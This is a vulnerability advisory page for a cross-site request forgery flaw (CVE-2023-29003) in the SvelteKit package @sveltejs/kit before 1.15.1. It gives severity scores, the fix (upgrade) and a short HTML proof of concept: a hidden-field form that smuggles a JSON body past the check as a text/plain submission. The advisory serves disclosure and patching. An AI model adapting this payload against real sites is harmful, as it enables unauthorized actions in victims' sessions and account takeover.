Cross-site Request Forgery (CSRF) Affecting @sveltejs/kit package, versions <1.15.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.1% (42nd percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Cross-site Request Forgery (CSRF) vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-SVELTEJSKIT-5411362
  • published5 Apr 2023
  • disclosed4 Apr 2023
  • creditViktor Chuchurski

Introduced: 4 Apr 2023

CVE-2023-29003  (opens in a new tab)
CWE-352  (opens in a new tab)

How to fix?

Upgrade @sveltejs/kit to version 1.15.1 or higher.

Overview

@sveltejs/kit is a SvelteKit framework and CLI

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) by sending a JSON request with a different Content-Type header value, such as text/plain. This allows malicious requests to be submitted from third-party domains, which can allow execution of operations within the context of the victim's session, and in extreme scenarios can lead to unauthorized access to users’ accounts.

PoC

<!DOCTYPE html>
<html>
<head></head>
<body>
  <h1 id="name"></h1>
  <form action="http://localhost:3000/api/test" method="POST" enctype="text/plain">
    <input type="hidden" name="&#123;&quot;name&quot;&#58;&quot;test" value="&quot;&#44;&quot;age&quot;&#58;123&#125;" />
    <input type="submit" value="Submit" />
  </form>
</body>
</html>

References

CVSS Scores

version 3.1